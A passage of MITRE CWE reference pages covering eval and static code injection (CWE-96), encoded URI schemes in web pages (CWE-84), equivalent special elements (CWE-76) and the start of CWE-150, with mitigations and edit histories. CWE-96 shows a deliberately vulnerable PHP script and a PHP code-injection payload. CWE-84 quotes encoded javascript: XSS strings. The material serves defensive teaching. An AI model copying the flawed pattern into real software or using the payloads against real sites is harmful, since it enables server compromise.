Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.714OWASP Top Ten 2007 Category A3 - Malicious File Execution
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.727OWASP Top Ten 2004 Category A6 - Injection Flaws
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1179SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

Factors: special character errors can play a role in increasing the variety of code that can be injected, although some vulnerabilities do not require special characters at all, e.g. when a single function without arguments can be referenced and a terminator character is not necessary.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDirect Dynamic Code Evaluation ('Eval Injection')
OWASP Top Ten 2007A3CWE More SpecificMalicious File Execution
OWASP Top Ten 2004A6CWE More SpecificInjection Flaws
Software Fault PatternsSFP24Tainted input to command
SEI CERT Perl Coding StandardIDS35-PLExactDo not invoke the eval form with a string argument
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 18, "Inline Evaluation", Page 1095. 1st Edition. Addison Wesley. 2006.
[REF-1372] "How ast.literal_eval can cause memory exhaustion". Reddit. 2022-12-14. <https://www.reddit.com/r/learnpython/comments/zmbhcf/how_astliteral_eval_can_cause_memory_exhaustion/>. URL validated: 2023-11-03.
[REF-1373] "ast - Abstract Syntax Trees". ast.literal_eval(node_or_string). Python. 2023-11-02. <https://docs.python.org/3/library/ast.html#ast.literal_eval>. URL validated: 2023-11-03.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Modes_of_Introduction, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Description, Observed_Examples, Other_Notes, Research_Gaps
2009-05-27CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Description, Name, References
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Observed_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2022-06-28CWE Content TeamMITRE
updated Observed_Examples
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Direct Dynamic Code Evaluation ('Eval Injection')
2009-05-27Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection')
2010-06-21Improper Sanitization of Directives in Dynamically Evaluated Code ('Eval Injection')

CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')

Weakness ID: 96
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.94Improper Control of Generation of Code ('Code Injection')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.97Improper Neutralization of Server-Side Includes (SSI) Within a Web Page
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
ImplementationThis issue is frequently found in PHP applications that allow users to set configuration variables that are stored within executable PHP files. Technically, this could also be performed in some compiled code (e.g., by byte-patching an executable), although it is highly unlikely.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

PHP (Undetermined Prevalence)

Perl (Undetermined Prevalence)

Class: Interpreted (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Files or Directories; Read Application Data

The injected code could access restricted data / files.
Access Control

Technical Impact: Bypass Protection Mechanism

In some cases, injectable code controls authentication; this may lead to a remote vulnerability.
Access Control

Technical Impact: Gain Privileges or Assume Identity

Injected code can access resources that the attacker is directly prevented from accessing.
Integrity
Confidentiality
Availability
Other

Technical Impact: Execute Unauthorized Code or Commands

Code injection attacks can lead to loss of data integrity in nearly all cases as the control-plane data injected is always incidental to data recall or writing. Additionally, code injection can often result in the execution of arbitrary code.
Non-Repudiation

Technical Impact: Hide Activities

Often the actions performed by injected control code are unlogged.
+ Demonstrative Examples

Example 1

This example attempts to write user messages to a message file and allow users to view them.

(bad code)
Example Language: PHP 
$MessageFile = "messages.out";
if ($_GET["action"] == "NewMessage") {
$name = $_GET["name"];
$message = $_GET["message"];
$handle = fopen($MessageFile, "a+");
fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
fclose($handle);
echo "Message Saved!<p>\n";
}
else if ($_GET["action"] == "ViewMessages") {
include($MessageFile);
}

While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:

(attack code)
 
name=h4x0r
message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E

which will decode to the following:

(attack code)
 
<?php system("/bin/ls -l");?>

The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.

Notice that XSS (CWE-79) is also possible in this situation.

+ Observed Examples
ReferenceDescription
Perl code directly injected into CGI library file from parameters to another CGI program.
Direct PHP code injection into supporting template file.
Direct code injection into PHP script that can be accessed by attacker.
PHP code from User-Agent HTTP header directly inserted into log file implemented as PHP script.
chain: execution after redirect allows non-administrator to perform static code injection.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

Perform proper output validation and escaping to neutralize all code syntax from data written to code files.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

"HTML injection" (see CWE-79: XSS) could be thought of as an example of this, but the code is injected and executed on the client side, not the server side. Server-Side Includes (SSI) are an example of direct static code injection.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDirect Static Code Injection
Software Fault PatternsSFP24Tainted Input to Command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27CWE Content TeamMITRE
updated Description, Name
2010-04-05CWE Content TeamMITRE
updated Description, Name
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Observed_Examples
2014-06-23CWE Content TeamMITRE
updated Enabling_Factors_for_Exploitation, Other_Notes, Relationship_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Direct Static Code Injection
2009-05-27Insufficient Control of Directives in Statically Saved Code (Static Code Injection)
2010-04-05Improper Sanitization of Directives in Statically Saved Code ('Static Code Injection')

CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page

Weakness ID: 84
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Cross-site scripting (XSS) vulnerability in Microsoft Outlook Web Access (OWA) component in Exchange Server 5.5 allows remote attackers to inject arbitrary web script or HTML via an email message with an encoded javascript: URL ("jav&#X41sc&#0010;ript:") in an IMG tag.
Cross-site scripting (XSS) vulnerability in Novell Groupwise WebAccess 6.5 before July 11, 2005 allows remote attackers to inject arbitrary web script or HTML via an e-mail message with an encoded javascript URI (e.g. "j&#X41vascript" in an IMG tag).
Encoded script within BBcode IMG tag.
Encoded "javascript" in IMG tag.
Encoded "javascript" in IMG tag.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Resolve all URIs to absolute or canonical representations before processing.

Phase: Implementation

Strategy: Input Validation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERXSS using Script Via Encoded URI Schemes
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Description, Name, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11XSS using Script Via Encoded URI Schemes
2010-06-21Failure to Resolve Encoded URI Schemes in a Web Page

CWE-76: Improper Neutralization of Equivalent Special Elements

Weakness ID: 76
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product correctly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.
+ Extended Description
The product may have a fixed list of special characters it believes is complete. However, there may be alternate encodings, or representations that also have the same meaning. For example, the product may filter out a leading slash (/) to prevent absolute path names, but does not account for a tilde (~) followed by a user name, which on some *nix systems could be expanded to an absolute pathname. Alternately, the product might filter a dangerous "-e" command-line switch when calling an external program, but it might not account for "--exec" or other switches that have the same semantics.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.75Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Likelihood Of Exploit
High
+ Potential Mitigations

Phase: Requirements

Programming languages and supporting technologies might be chosen which are not subject to these issues.

Phase: Implementation

Utilize an appropriate mix of allowlist and denylist parsing to filter equivalent special element syntax from all input.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEREquivalent Special Element Injection
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2010-06-21CWE Content TeamMITRE
updated Description, Name
2010-12-13CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Equivalent Special Element Injection
2010-06-21Failure to Resolve Equivalent Special Elements into a Different Plane

CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences

Weakness ID: 150
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.
+ Extended Description
As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
